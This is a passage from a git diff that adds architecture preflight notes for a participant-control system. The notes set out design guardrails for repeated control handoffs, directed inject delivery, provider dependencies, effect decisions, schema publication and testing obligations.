+application permits one delivery or multiple explicitly identified deliveries, +and what consumes that permission. Repetition of control does not automatically +repeat the narrative schedule, disclose the same item again, or re-execute +environment effects. A new API-424 inject effect requires its own DSL-111 +occurrence under ADR-108; retain the original declaration as provenance. + +The following existing joins constrain that seam: + +| Observed coupling | Required decision or guardrail | +| --- | --- | +| `_verify_delivery_control_identity` equates `delivery_policy.policy_revision` with the mixed-control policy revision. | Projection/disclosure policy and control policy are different authorities. Specify their independently pinned identities/revisions and required agreement at the evaluated cut. Equal version strings prove neither policy identity nor authority. Preserve the old equality rule for historical interpretation; do not silently repurpose its field. | +| Delivery controller/scope/evidence bind the target controller state, while RUN-310 acts from the source state. | Specify the acting and resulting controller for direction and intervention, including any state change, using the common occurrence semantics above. Never let receipt of an instruction confer authority on its sender or recipient. Disclosure-only bindings continue to exclude control fields. | +| `_verify_delivery_control_bounds`, `_verify_delivery_control_time` and `_verify_delivery_control_evidence` copy fixed order/windows/evidence from a transition and target state. | Split reusable constraints from actual application facts. Resolve time domain, clock and segment before comparing coordinates; retain the delivery window independently of control eligibility. Required control evidence, delivery evidence requirements and produced receipts must each retain their own meaning. Static refs cannot prove a new cycle completed. | +| `_verify_delivery_observation` checks authored view rules; several policy/audience refs are opaque strings. | Static consistency is not effective authorization. Reuse SEM-226 exposure resolution and SEM-230/ADR-095 policy-at-cut semantics for the exact result, audience and delivery. Revocation, changed markings, transformation or a later observation cut cannot be waived by an earlier valid declaration. Preserve influence/provenance through the final sink. | +| API-424 `ControlInjectEffectModel` requires a fresh result identity; DSL-142 permits `source_item_ref == result_item_ref`. | Declare the compatibility boundary for ordinary disclosure versus a newly produced inject result. Do not weaken the effect validator, rename a source as proof of transformation, or silently reject legacy SDL that never requested that effect. | +| `participant_control_resolution._validate_inject` compares the authored delivery digest and raw participant/inject/anchor/item/disclosure refs with the effect. RUN-320 `_inject_bindings` additionally binds the view result, episode, cut and projection. | Preserve both contextual joins. Define the authored-ref to compiled-address mapping explicitly; the DTO field name `participant_address` does not normalize an authored agent ref. Digest equality binds content, not authorization. Bind the chosen control application as well as the owning delivery; do not infer it from the latest event with the same edge or controller. | + +`ParticipantControlValidationContext.inject_deliveries` is already the trusted, +non-wire resolution seam. Providers must not supply their own authoritative +delivery, policy, evidence or history indexes. Reuse `control_digest` and the +existing artifact projection rules; API-424 hashes the full authored delivery, +whereas some occurrence digests exclude unset optional fields. A new semantic +pin or coordinate changes that commitment and must be handled by the existing +compatibility/publication rules, not a second digest implementation. + +The live owner path is +`participant_control_effects.dispatch_participant_control_effects` → +`ParticipantRetrievalMixin.deliver_participant_directed_view` → +`participant_crossing_egress.serialize_participant_view`. Preserve authenticated +target/role checks and `ParticipantAudienceSubjectBinding`, independently of +`ParticipantControlSubjectBinding` and semantic controller grants. Reuse +`participant_crossing_policy` and `resolve_participant_feature_support` for +`participant_directed_inject_delivery`, egress/transformation and any other +applicable capabilities. Required semantics fail closed when the exact owner +or support is unavailable; a general environment inject is not a fallback. + +Egress keeps exact subject/digest and policy resolution, SEM-233 final-sink +checks, API-424 composition, trusted transformation revalidation, and atomic +crossing/operation/audit commit before returning the governed view. The +current directed-view owner accepts a `ParticipantStatusViewModel`; this does +not establish a generic payload transport or an automatic executor for all +compiled DSL-142 bindings. No new route, config, environment binding or backend +dispatch is warranted merely to publish the reusable semantics. + +State what evidence the existing owner actually records. Delivery-attempt, +delivery and observation records in `_with_opacity_egress_observation` are +conditional on opacity enforcement; an operation receipt alone does not +satisfy every DSL-142 evidence requirement. Reuse API-423's distinct stage +records and contextual validation and SEM-226's realized-exposure contracts. +Any emission-is-delivery/observation basis must be explicit under ADR-095; +successful serialization proves neither remote acknowledgement nor human +consumption. Control admission, delivery and observation can fail separately. +A subsequent delivery failure cannot erase an accepted control occurrence; +where delivery is a required predecessor, preserve RUN-320 withholding and +fresh revalidation instead of claiming a cross-system atomic transaction. + +Authored refs still pass `_mapping_scopes`, `_declarations`, +`composition/_behavior.py::_rewrite_participant_inject_delivery`, instantiation, +`SemanticValidator` and compiler alias/address resolution. Namespace external +refs while keeping binding/edge IDs local; pin external policy references +without inventing module-local policy declarations. Re-admit after variable +substitution. Preserve typed metadata and every dependency, including +`compiler/time_model.py`'s delivery-subject mapping; `spec` is not runtime +authority or a place for payload/credential data. Some legitimate semantic +evidence refs have no runtime resource address (the directed-delivery test +uses an entity ref); retain those refs rather than dropping their meaning or +inventing executable resources. Conversely, source/result items required to +compile to an address must resolve uniquely, with a bounded diagnostic on +failure rather than an unchecked index into an empty address list. + +DSL-142 is currently embedded in **five** published schemas: SDL authoring, +instantiated scenario, instantiated snapshot, materialized scenario and +satisfiability evidence. The older preflight's four-schema inventory predates +materialization. Reuse schema-bundle/publication checks and +`tools/check_sdl_catalog_parity.py`, including the normative sections/reference +tables; changing only the Python declaration leaves other ingress paths stale. +Model closure, semantic admission, compiler dependencies and live contextual +admission have different responsibilities; none replaces the others. + +### Minimal repeated-cycle witness + +This is a semantic acceptance witness, not proposed SDL syntax. For one +participant, episode and pinned policy, let `A` mean self-controlled and `B` +mean controlled by a declared supervisor. The same two permitted handoff +edges must support the following, with valid grants and occurrence-specific +completion evidence at every application: + +| Policy edge | Fresh occurrence | Exact pre-state | Accepted post-state | Control order | +| --- | --- | --- | --- | --- | +| `A → B` | `h1` | `A, revision 0` | `B, revision 1` | 10 | +| `B → A` | `h2` | `B, revision 1` | `A, revision 2` | 20 | +| `A → B` | `h3` | `A, revision 2` | `B, revision 3` | 30 | +| `B → A` | `h4` | `B, revision 3` | `A, revision 4` | 40 | + +The order values belong to a declared control-order domain, not time ticks. +The incumbent fixed edge for `h1` cannot admit `h3`: its expected revision is +still zero. A correct repair changes where occurrence coordinates are bound, +while retaining the exact revision check. A competing request expecting +`A, revision 2` after `h3` is stale even if `h4` later restores state `A`. +Rejection leaves accepted state unchanged and may append a rejected fact; +history position then diverges from accepted-state revision. + +An equivalent authorized retry of `h1` must return its original receipt; +changed content under the same request identity conflicts. Reuse the existing +idempotency claim authority to distinguish a retry before treating it as a +fresh occurrence; rebuilding it against today's policy must not turn it into +a new transfer. A fresh cycle uses fresh proposal/decision identities as well +as fresh control occurrences. A finite script authorizing only `h1` and `h2` +must still forbid `h3` after migration. + +For DSL-142, add two permitted direction/intervention applications `c1` and +`c2` of the same edge after re-entry, each with its exact pre-state revision, +target, authority and order. Bind delivery `d1` to `c1` and `d2` to `c2`, retaining +their inject/event/script/story provenance. Using `c1`'s completion evidence +to claim `c2` completed, or a `d1` receipt to claim `d2` was delivered, must fail +even when the edge, controller and payload are identical. Shared policy/grant +refs may remain shared; their occurrence-specific satisfaction cannot. +An authorized exact retry of `d1` resolves its retained result; +changed content under that retry identity conflicts. A newly attempted `d2` +must fail if its disclosure policy was revoked after control admission, and +that failure does not undo `c2`. A second participant, a new episode, an +expired delivery window or a different clock segment cannot inherit the old +authorization. A disclosure-only delivery still needs no control transition, +and an unbound environment inject creates no participant occurrence. + +## Cross-cutting layers and canonical incumbents + +These are requirements on the intended design and downstream implementation, +not assertions that all current code already enforces the revised semantics. + +| Layer | Incumbent and required satisfaction | +| --- | --- | +| SDL bytes, shape and identities | `raes/parser.py`, `_yaml_loader.py::load_sdl_yaml`, source limits, structural/map-key normalization, `SDLModel` and `_identifiers.PortableIdentifier`. Keep duplicate/canonical-key rejection, closed shapes and variable-key restrictions. New nested maps must be classified in `_mapping_scopes.py`; no raw-dictionary compatibility bypass. | +| Semantic authority and references | `SemanticValidator`, `DeclarationIndex`, `validator/_mixed_control.py`, `_participant_inject_deliveries.py` and `_participant_relationships.py`. Resolve exact domains and aliases; retain mode/policy co-presence, one controlled participant, controller authority anchors, behavior scope and controller operating scope. Reconcile the source/destination authority checks and compare resolved identities, including `self`. A role or policy label cannot grant authority. | +| Composition and compilation | `raes/composition/_behavior.py`, `raes_processor/compiler/_mixed_control.py`, `participant_inject_deliveries.py`, `models/behavior_resources.py`, existing compiled-address and dependency helpers. Rewrite external refs during namespacing while retaining local IDs; compile deterministic typed children under the behavior owner. No top-level controller registry or raw `spec` authority. | +| Portable ingress and contextual validation | `ContractModel`, shared scalar types, `ParticipantRuntimeBaseEnvelopeModel`, discriminated API-409 variants and `validate_participant_control_occurrence_context`. Use `raes_contracts/json_ingress.py::parse_bounded_json_object` at applicable serialized boundaries; preserve byte/depth/duplicate/non-finite checks and HTTP size limits. Model closure alone does not establish strict numeric types, bounded inputs or trusted joins. Keep Python and JSON Schema constraints aligned, including direct in-process callers. | +| Authentication and authorization | `ControlPlaneSecurityConfig.strict_defaults()`, `control_plane_api/_auth.py`, `ParticipantControlSubjectBinding` and `participant_control_mediation.py`. Authenticate the principal and authorize target/role/subject before mutation or receipt disclosure; then independently resolve controller/authority/scope from admitted policy and current state. Retain caller-intent DTOs in `participant_control_intents.py`; clients cannot submit an accepted occurrence or grant themselves a subject binding. `actor_ref` remains the semantic controller; operation/audit identity remains the authenticated principal. | +| Crossing, flow and effect admission | `raes_runtime/participant_crossing_boundary.py`, `participant_flow_sink.py`, `participant_control_orchestration.py`, `raes_contracts/contracts/participant_flow_control_incumbent_validation.py` and `raes_contracts/participant_binding.py`. Preserve exact-cut API-423/SEM-233 joins, mandatory modular constraints and final-sink checks. API-424 effects and SEM-234 mixed-runtime handoffs consume the occurrence; update their joins under the same authority. Approval, provider permit or handoff cannot bypass action admission or erase influence. | +| Configuration, secrets and host exposure | `ControlPlaneOptions`/`ControlPlaneConfiguration` own runtime options, profile and normalized run scope; `ControlPlaneSecurityConfig` validates/fixes identity maps and header names. This semantic change needs no new config bag, environment binding, token source, CLI flag, subprocess, socket or host privilege. Controllers/evidence refs must carry no credentials or executable selectors. If later realization uses environment values, keep `RuntimeEnvironmentVariable` name/classification/source-exclusivity checks and `enforce_observed_value_redaction`; secret refs use `raes_contracts.secret_references.SecretReferenceId`. Never put credentials in argv, shell interpolation, authored policy, snapshots, evidence or diagnostic output. Host/provider isolation remains with the existing backend boundary. | +| Errors, audit and visibility | `SDLParseError`/`SDLValidationError`/`SDLInstantiationError`, compiler/runtime `Diagnostic`, existing operation dispositions, `AuditEvent`, `_participant_routes.py` coarse 403/409 responses and `_operation_routes.py` redacted 422/500 handlers with bounded rejection audit. Preserve stable reason codes, sanitize messages/addresses, and avoid raw Pydantic input, exception text or payload dumps. Diagnostic shape validation is not redaction. Keep operational logs, participant-visible projection and experiment evidence distinct under ADR-066; no new exception hierarchy or logging channel. | +| Persistence, concurrency and recovery | `RuntimeSnapshot.participant_control_history`, `raes_contracts/participant_control_history.py`, `control_plane_mutation`, `operation_admission_context`, canonical request commitments and store idempotency claims. Reuse `ControlPlaneStore.commit_control_transition`/`commit_participant_transition`, snapshot revision comparison, expected heads, actor-bound atomic audit/record commits and memory/local-store parity. Retain the P1/P2 single-owner lease and target/run scope. No sidecar controller database, snapshot metadata history, independent lock-only authority or multi-writer claim. Commit failures expose no partial accepted state; recovery never blindly redispatches effects. | + +Three implementation traps need explicit treatment at those layers: + +- **Ingress is not uniformly strict today.** `ParticipantControlIntentBase` + uses coercible integers, as do API-409's shared integer aliases; SDL uses + `StrictInt`. Pin the new semantic boundary's scalar rules and exercise + boolean/string revision inputs without changing legacy readers implicitly. + The HTTP route currently accepts a FastAPI-parsed intent; + `RequestSizeLimitMiddleware` limits bytes but does not apply + `parse_bounded_json_object`. Reject ambiguous raw JSON before duplicate keys + are lost, with explicit byte/depth limits using that shared parser. Do not + claim these protections merely because the helper exists elsewhere. +- **Construction gates still apply.** `control_plane_composition.py` admits + crossing resolvers, final-sink enforcement and modular bindings; + `control_plane_profiles.py` and `control_plane_store_compatibility.py` own + profile and atomic-store admission. Unsupported capabilities must fail + closed, not select an older interpretation. P0/P1 trust the embedder for + authentication; constructing `ControlPlaneIdentity` does not authenticate + external input. P2 retains exact target binding, role checks, explicit + proxy trust and bearer-token failure without proxy fallback. +- **Durable bytes cross another boundary.** Retain snapshot model/history + validation, `control_plane_store_snapshots.py` round trips and the local + codec's integrity checks. `control_plane_store_paths.py` and + `control_plane_store_lease.py` own private filesystem paths, SQLite sidecars + and process ownership. A new policy pin must survive these existing paths; + it must not introduce an unvalidated side file or a second store. Host TLS, + proxy header stripping, secret loading and worker configuration remain the + embedder's responsibilities under ADR-104. + +General DSL-111 injects may affect an environment without a participant. +DSL-142 adds a declared addressee and, for direction/intervention, explicit +control agreement. Neither a general inject, an authenticated external +principal, an MCP endpoint nor a provider becomes a participant/controller by +this change. Keep controllers as `self` or declared agents; independent +non-participant supervisory authority would need a separate justified design. + +## Compatibility, publication and evidence boundaries + +The eventual issue delivery must amend the canonical statements/rationales and +traceability in `docs/requirements/{ACT-617,API-409,RUN-310,DSL-142}/requirement.md` +and reconcile their normative owners: the ACT-617 section in +`specs/formal/participant-behavior-model/README.md`, SDL sections/reference +tables and the owning API/runtime semantic contracts. A research note or ADR +alone cannot amend those requirements. Existing ACTIVE status and old tests +do not demonstrate the new behavior. The old #251/#252/#255 guidance records +the earlier fixed-transition design; do not copy its constraints or historical +package names as the new contract. + +The accepted decision must give producer/reader and persisted-history +compatibility rules for legacy scripted declarations, new reusable policies, +v1 occurrences, snapshots and mixed histories, including unsupported-reader +failure. Preserve old identities, order, dispositions, revisions and evidence; +never relabel historical occurrences as new semantics. Any conversion of old +authoring must preserve its finite constraints and reject ambiguous/lossy +cases. Do not silently turn a finite script into unbounded permission. Define +whether live upgrade is supported; durable state alone does not imply it. + +Use [ADR-061](adrs/adr-061-published-schema-evolution-policy.md) and +`specs/evolution/versioning-deprecation-and-migration.md`. The current +`participant-control-occurrence-v1` publication is **draft**; a filename suffix +does not confer stability, and draft status does not waive this issue's +historical-meaning requirement. Use an explicit semantic discriminator/pin +and reader boundary where interpretation changes. Policy revision, wire +version, schema lineage, publication hash and store version are not synonyms. + +Downstream publication must account for embedded schemas as well as direct +ones: SDL authoring, instantiated scenario/snapshot, materialized scenario, +satisfiability evidence, participant-control occurrences and runtime snapshots. +Check API-423, SEM-233/API-424 and mixed-composition consumers rather than +assuming their existing reference fields prove compatibility. Reuse +`contracts/schema-publication-manifest.json`'s per-contract records under +`contracts/schema-publication/entries/`, `last_change` hashes and removal +tombstones, plus `schema_bundle()`, `tools/check_generated_schemas.py`, +`tools/check_schema_publication.py` and schema coverage/catalog checks. +`contracts/schema-publication/README.md` documents the current split registry; +do not replace it with another ledger. Accepted ADR edits require ADR-059 +amendment rows and pins. This preflight adds no ADR or publication change. + +Worked acceptance cases must expose a second cycle in the **same** episode, +same-state control, two contenders with the same expected revision, +identical retry versus changed-content conflict, old-proposal approval, +expiry/revocation, unauthorized controller, directed delivery joined to the +wrong repeated occurrence, terminal/reset/new-episode boundaries and replay +with the original policy after a policy update. Include finite-script +compatibility, disposition eligibility, future-target/contradictory-decision +cases, consumer coordinate bounds and failed atomic commit/crash cases. +State the support limits; +cycles do not prove liveness, exactly-once external effects or cancellation. +The current cancellation-effect classifier derives an outcome from target +kind; it is not backend acknowledgment and must not become stronger evidence +in the revised semantics. + +Reuse `test_act_617_mixed_control.py`, +`test_api_409_participant_control_occurrences.py`, +`test_run_310_supervisory_lifecycle.py`, +`test_dsl_142_participant_inject_delivery.py`, their published fixture families, +shared-time tests and existing final-sink/mixed-runtime/store tests. Schema +acceptance and contextual rejection need separate evidence: the API-409 entry +in `raes_conformance/conformance/validators.py` currently invokes model +validation, not the declaration/history contextual join. No parallel harness +or text-presence test can establish occurrence semantics. + +For RUN-310, retain the memory/local-store witnesses in +`test_run_310_supervisory_lifecycle.py` and the #1003 final-sink, #1016 +mixed-runtime and #1069 orchestration/effects/durability families. The revised +semantics need witnesses at each entry path above, including a repeated +handoff with a fresh logical effect versus replay of the old effect, a drain +by a different principal, callback re-entry, and restart between owner commit +and realization recording. Assert terminal status, exact histories and zero +prohibited dispatch/disclosure, not merely `receipt.accepted` or HTTP success. + +For DSL-142, reuse the authoring/composition/instantiation and environment-only +cases in its existing test family, plus `test_api_424_control_resolution.py`, +`test_api_424_control_effects.py` and the RUN-319/#1003/#1069 families for live +joins. Cover namespaced refs, independent policy revisions, the same-result +compatibility boundary, transformed-result identity, differing clock domains, +missing delivery evidence and the repeated-delivery witness above. Existing +positive authoring tests do not establish live authorization or delivery. + +`.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py` and +`tools/nox_support/` remain the workflow owners; use targeted local checks and +the existing CI graph. This branch has no requirement UID in its name, so set +`RAES_REQUIREMENT_UID` to the requirement under review (`API-409` for the +contract preflight; `ACT-617` for authoring; `RUN-310` for lifecycle; `DSL-142` +for participant-directed delivery), and retain all four requirements in the +eventual issue scope. `tools/policy/` owns +module boundaries and the source-file cap; neither SDL nor portable contracts +should import runtime/store code to resolve occurrences. No new verification +script, release version edit or changelog is warranted. + +Non-goals here are the accepted design and requirement amendments themselves, +executable SDL/DTO/runtime changes, schema publication, persistence migration, +backend cancellation/inject execution repairs, provider composition redesign, +new controller identity kinds, registration, a generic policy interpreter and +a new workflow/time engine. The upcoming #1351 delivery establishes semantics +and migration obligations; executable fulfillment requires its own scoped work +and evidence, not a claim that publishing the decision changed runtime behavior. diff --git a/docs/decisions/issue-1352-control-applicability-preflight.md b/docs/decisions/issue-1352-control-applicability-preflight.md new file mode 100644 index 000000000..ce8d6bb64 --- /dev/null +++ b/docs/decisions/issue-1352-control-applicability-preflight.md @@ -0,0 +1,252 @@ +# Issue #1352 — Control applicability, dependencies and effect decisions + +Date: 2026-09-22. Inspection baseline: `c3a9154b9be8`. +Scope: architecture preflight for SEM-235/API-424; guidance, not a normative +amendment, implementation plan or fulfillment claim. + +## Authority and observed gaps + +[ADR-108](adrs/adr-108-modular-participant-control-and-governed-effects.md), +[SEM-235](../../specs/formal/participant-semantics/modular-participant-control.md) +and the [API-424 preflight](issue-1072-api-424-provider-contracts-preflight.md) +remain the foundations. This note qualifies the earlier guidance where the +issue requires a new decision; it does not supersede published revision 1. +Package paths below are relative to +`implementations/python/packages/`. The issue's `runtime-refactor` diagnosis +files are absent from this checkout; the findings below come from current +repository sources, not those files' pinned revision. + +| Current incumbent | Design gap to close explicitly | +| --- | --- | +| `raes_contracts/contracts/participant_control_composition.py::ParticipantControlRequestModel._admitted_scope` | Requires every apparatus binding to match one crossing, and provider-state coverage of every binding. Filtering the selection would instead break the runtime's exact admitted-selection digest check. Neither represents an applicable subset of an unchanged apparatus. | +| `contracts/participant_control_selection.py::_selection_graph` (under `raes_contracts`) | Required profiles need only appear in bindings; zero result slots are accepted. Profile presence is not proof that its obligations are covered. | +| `raes_backend_protocols/protocols.py::ParticipantControlProvider.resolve` and `raes_runtime/participant_control_orchestration.py::_mechanism_results` | Each provider receives the same request in binding order, with no typed predecessor-result input. Topological validation of recorded results does not establish dependency-aware evaluation. | +| `raes_contracts/contracts/participant_control_composition.py::_support_blockers` | Every non-exact or unresolved support record blocks, regardless of mandatory dependency closure. This gives optional support failure a veto and cannot express an admitted bounded requirement. | +| `participant_control_effect_composition.py::control_effect_blockers` and `participant_control_composition.py::admitted_effect_phase` in the same package | Effect phase can change a parent-targeted denial into eligibility or withholding; one global admitted phase cannot express independent consequences of a denied parent. | + +A read-only probe using `participant_control_contract_fixtures.evaluation_payload`, +the public derivation and evaluation validator confirmed: parent-targeted +`deny`/`subsequent` and `withhold`/`subsequent` produce `eligible`; +`deny`/`required-predecessor` produces `withhold`; a required profile with no +slots produces `eligible`; failed optional advice with unsupported provider +support produces `unsupported`. These are bounded structural/composition counterexamples, not +proof of bypassing trusted-context validation or live authorization. + +## Guardrails for the decision + +**Apparatus, obligations and applicability are separate coordinates.** Preserve +the complete admitted selection and its identity. At an exact cut K, resolve +the obligations of every required profile independently of the providers that +happen to respond. Record which slots/providers cover them, which are proven +inapplicable, and which have unresolved coverage. Bind inapplicability evidence +to the exact selection, profile revision, subject, sink, phase and K; a missing +provider, omitted result, mismatch or exception is not such evidence. Reject +ambiguous coverage and unexplained omission. Overlapping profiles retain every +obligation and selecting owner, even when one exactly shared instance serves +them. An empty applicable subset is legitimate only with complete coverage +accounting and satisfied incumbent gates. `None` must not conflate an unbound +optional apparatus with failed resolution of required coverage. A new cut +invalidates the old applicability proof; changing the apparatus requires its +own admitted transition. These distinctions belong in the existing contract +family, not a second apparatus registry. + +**Dependencies govern invocation as well as composition.** Retain a finite +typed DAG and pin predecessor result identities, content, resolution status, +binding and cut in each dependent invocation. Supply detached, immutable, +disclosure-authorized inputs; never let providers discover predecessors through +ambient state or caller-supplied authority indexes. Define the invocation unit +explicitly: a slot DAG can require A.fact → B.assessment → A.rule, which an +unqualified once-per-provider call cannot realize. A slot/stage-aware protocol +or an explicitly restricted supported graph must make that case unambiguous; +do not add a general workflow engine. Independent ordering is immaterial only +with evidenced independence. A deterministic composition consumes recorded +stochastic assessments; it does not silently resample them on retries. +The invocation must identify the requested slots/stage and permitted input +projection. A dependency authorizes neither disclosure of another provider's +private state nor transmission of the complete apparatus context. Bind outputs +to that invocation and its exact predecessor inputs, not only to a shared K. +Define finite input/result and invocation bounds before expanding dependencies; +a byte limit on a serialized evaluation cannot bound a live provider iterator. + +**Mandatory closure is an admitted obligation.** A mandatory consumer's entire +required input closure must have the required typed results and support. +Required availability of an advisory assessment does not grant its score or +negative opinion veto authority; only the admitted decision rule interprets +it. Declare that dependency at admission, without silently promoting optional +advice during execution. Truly optional missing, failed, malformed or +unsupported contributions produce safe lost-advice evidence and cannot block +the parent through support checks, result validation, conflict accounting or +effect admission. This does not excuse malformed apparatus, unknown coverage +or forged shared authority; those remain admission failures. Failure of a +required input does block its mandatory consumer. Distinguish an evaluated +rule whose trigger is false from an absent mandatory result; an effect slot +must not force fabrication of an effect to +prove the rule ran. Preserve all reasons, not just the displayed disposition. + +Normalize a rejected optional contribution into an explicit, value-safe failure +at its declared invocation boundary before shared composition validation. +Keep the complete outer record closed and valid; catching an arbitrary +whole-evaluation error as "lost advice" would hide mandatory failures and +forged bindings. Failure isolation must respect shared mandatory state and +dependency closure rather than trust a response's claim to be optional. + +Required support strength and admissible constraints belong to the admitted +obligation. Reuse API-407's `resolve_participant_feature_support`, API-424's +`resolve_participant_control_support` and `ControlEffectiveSupportModel`; +do not add a second strength ranking. Bounded support is usable only when its +actual coverage/constraints satisfy the requirement at K. A rank comparison +alone is insufficient. Falling below the requested strength requires an +authorized, separately identified effective binding and disclosed claim limits; +a downgrade token never makes unmet requirements disappear. + +**Parent decision, effect target and execution dependency are independent.** +Reuse `ControlDecisionModel`, the closed `ControlEffectTarget` alternatives and +their owner identities. Settle how existing permit/deny/withhold effect targets +map to decisions, rejecting contradictory or ambiguous encodings. A phase is +ordering information, never permission to reinterpret a decision. + +| Meaning | Required invariant | +| --- | --- | +| Deny or withhold the parent | The parent is respectively refused or pending in every phase. Permit cannot override either; deferring a denial until after dispatch is invalid. | +| Required predecessor | Commit a pending parent and separately authorized prerequisite. Only its exact successful owner outcome can satisfy that dependency; re-evaluate the parent at a fresh K before release. Completion cannot erase another deny/withhold reason. | +| Consequence dependent on parent success | Bind the prerequisite to the relevant owner outcome (commit, dispatch and application are distinct). Failure of the consequence does not rewrite an applied parent. | +| Independent consequence of a disposition | An admitted rule may request audit/review for a denied or withheld parent. That request has its own target, authority, support, conflicts and outcome; it neither inherits parent permission nor releases it. | + +Resolve effect-dependency order together with parent prerequisites: a slot DAG +alone misses a cycle in which a predecessor effect waits for parent success. +Reject cycles, incompatible phases and stale/mismatched realization receipts. +Retain the MPC-07 conflict rules; lexical/provider order cannot repair competing +replacements, routes or lifecycle outcomes. A transformation replaces the old +proposal with a fresh, traceable candidate that re-enters ordinary admission; +it must not both release the original and dispatch its replacement. Do not +conflate completing a prerequisite with superseding the parent. + +**State and commit have one authority.** Define provider-state read/write scope +separately from participant memory and profile identity, including explicit +sharing across slots, profiles, participants or episodes. Existing +`ControlProviderStateModel`, `next_provider_state`, memory references and +expected history heads are the starting point. One invocation's speculative +next state must not become another's ambient committed state. Multiple writers +require a declared ordered transition or a conflict; never last-result-wins. +Shared-instance deduplication requires equal configuration, authority, inputs, +state scope and exact binding, not just an implementation name. + +Use the ADR-104 `ControlPlaneStore`/`AtomicControlPlaneStore` authorities for one +expected-head/snapshot-revision commit of the decision, provider-state changes, +authorized effect intents, claims and budget consumption. Cover every shared +state scope in that concurrency boundary; an unsupported cross-store atomicity +claim stays unsupported. A refused parent may still have an explicitly defined +evaluation-state transition, but no discarded candidate may mutate state. +Store failure or a stale cut prevents dispatch. Preserve final-invocation +fencing and ordinary revalidation; a provider re-entry fence is neither a +process sandbox nor a wall-clock timeout. + +Logical effect keys and allocated fresh identities survive retries; changed +intent under an existing key conflicts. Reuse the committed-history budget +fold, extending its authoritative scope if a root crosses participant histories +instead of resetting counters. Preserve finite depth, fan-out, firing, attempt +and expiry bounds through handoff/reset/restart. Uncertain dispatch remains +indeterminate pending exact readback/idempotency evidence. Local atomic commit +does not establish distributed exactly-once execution or rollback. + +## Cross-cutting owners and gates + +The design must pass all applicable layers below. Documentation introduces no +new route, environment binding or launcher; later consumers still pass these +incumbent gates rather than treating portable records as authorization. + +| Layer and canonical incumbents | Required treatment | +| --- | --- | +| Ingress: `raes_contracts/json_ingress.py::parse_bounded_json_object`, `parse_participant_control_evaluation`, `raes_runtime/control_plane_api_guards.py::RequestSizeLimitMiddleware` | Bound bytes/depth before decoding and bound artifact reads. Reuse rejection of duplicate members, wrong roots, NaN/Infinity and overflow such as `1e999`; the overflow gap mentioned in the older API-424 preflight is already fixed. | +| Shapes: `contracts/base.py`, `participant_control_coordinates.py`, selection/results/effects models, schema constraints and factoring under `raes_contracts` | Closed, bounded, versioned alternatives; strict scalar validation, finite numbers, unique IDs and finite graphs on both JSON and direct Python ingress. Revalidate portable projections to defeat unchecked model construction. `ContractModel` alone is neither strict nor deeply immutable. No new DTO base, open metadata bag or duplicate schema. | +| Package/protocol boundary: `raes_backend_protocols/protocols.py`, `raes_contracts/contracts/_participant_control_exports.py`, `tools/policy/adr_policy.yaml`, `tools/policy/repo_policy.py::_check_backend_protocol_contract_annotations` | Public predecessor inputs and results use neutral `raes_contracts` DTOs. The protocol package may import only that repository package; no runtime/conformance/backend imports, public `Any`, or open `object`/kwargs escape hatch. Reuse diagnostics in each owning layer; importing the conformance sanitizer into contracts/runtime violates the dependency boundary. | +| Semantic joins: `derive_control_composition`, `validate_participant_control_resolved_context`, API-409/API-423/SEM-233 owner validators | One shared derivation for recorded and live decisions; independently trusted, non-wire indexes resolve coverage, support, authority, predecessors, safe references and receipts. Add the missing joins there, not copies in routes, runtime, stores or conformance. Schema validity is not resolved authority. | +| Artifact/configuration resolution: `participant_control_profiles.py`, `participant_flow_policy_profiles.py`, `corpus.py`, `participant_configuration.py`, `contracts/experiment_bindings.py` | Exact revision/digest and typed owner/normalization checks. JCS via `_canonical.py`/`control_digest` with explicitly defined projections and set ordering; preserve incumbent digest conventions. No latest fallback, caller-selected path root, arbitrary URL fetch, import path or executable configuration. A digest is neither trust nor secrecy. | +| Authentication/authorization: `ControlPlaneSecurityConfig.strict_defaults()`, `control_plane_api/_auth.py`, `participant_effect_authority.py`, `participant_control_receipts.py` | Retain verified bearer/proxy identity and actor/role/target/audience checks. Providers cannot confer principal or release authority. Independent effects retain their originating `OperationAdmissionContext`, then re-enter ordinary owner, capability, crossing/projection and final-sink gates. The drain caller is separately authorized before reading committed state and does not become the effect principal. | +| Secret/environment/host boundary: `raes_contracts/secret_references.py`, `raes/runtime_environment.py::RuntimeEnvironmentVariable`, `runtime_values.py::enforce_observed_value_redaction` | Safe references only in portable inputs, state and evidence; no raw secrets, prompts or private provider memory. If a realization uses environment bindings, retain valid names, `value`/`value_from` exclusivity, generated-source classification and redaction. Never transport credentials or provider payloads in process argv, shell interpolation, temporary filenames or diagnostic output. This issue needs no secret-file reader or provider launcher; out-of-world host/tenant/network integrity remains backend-owned. | +| Errors/observability: `raes_contracts/diagnostics.py`, `raes_runtime/backend_result_diagnostics.py`, `participant_control_diagnostics.py`, `control_plane_api/_responses.py` and `_operation_routes.py`, `control_plane_audit.py` | Closed coarse reasons and existing receipts/audit, without raw provider exceptions, validation values, unknown keys or tracebacks. `portable_diagnostic_payload` checks shape, not redaction. Sanitize before construction, including addresses. Audit failure must not replace the original safe response. Apply `raes/observability_plane_semantics.py`, `x-raes-plane` and participant projection to dependencies, applicability, denial/review existence and timing as well as values. No new exception tree, logger or evidence channel. | +| Persistence/recovery: `raes_contracts/participant_control_evaluation_history.py`, `raes_runtime/participant_control_causal_state.py`, `participant_control_records.py`, `participant_control_receipts.py`, store memory/local implementations and record migration | Keep runtime-owned evaluation history append-only, exact replay commitments and owner receipts. Route new meaning through version-aware history validation/folding; do not reinterpret old phase decisions or recalculate old effect claims under new rules. No second provider-state store, trigger ledger or snapshot metadata shortcut. | +| Runtime integration: `participant_control_binding.py`, `participant_control_orchestration.py`, `participant_crossing_commit.py`, `control_plane_mutation.py`, `participant_control_effects.py` under `raes_runtime` | Preserve operator-bound providers, detached inputs, external-call re-entry fencing, expected-head commit and independent effect-owner dispatch. These are downstream consumers of the contract decision, not places to invent missing semantics. API-404 transport/durability profiles, SDL workflow orchestration and SEM-234 backend allocation remain distinct. | + +## Publication, migration and extensibility + +The issue's decision and SEM-235/API-424 amendments must agree with MPC-01/03/ +05–11, ADR-108, concept placement, worked cases and the contract correspondence. +Changing an accepted ADR uses ADR-059's in-band amendment plus `adr-index.yaml` +pin/record (or explicit supersession), checked by `check_adr_immutability.py`; +do not silently edit the accepted decision. This preflight changes neither ADR +nor requirement. Preserve SEM-233's published two-coordinate security algebra, +release authorities and history, and the separate closed teaching domain. + +Publication authority remains `contracts/schemas/`, matched by +`raes_contracts/contracts/bundle_runtime.py`, exports, `schema_invariants.py` +annotations and 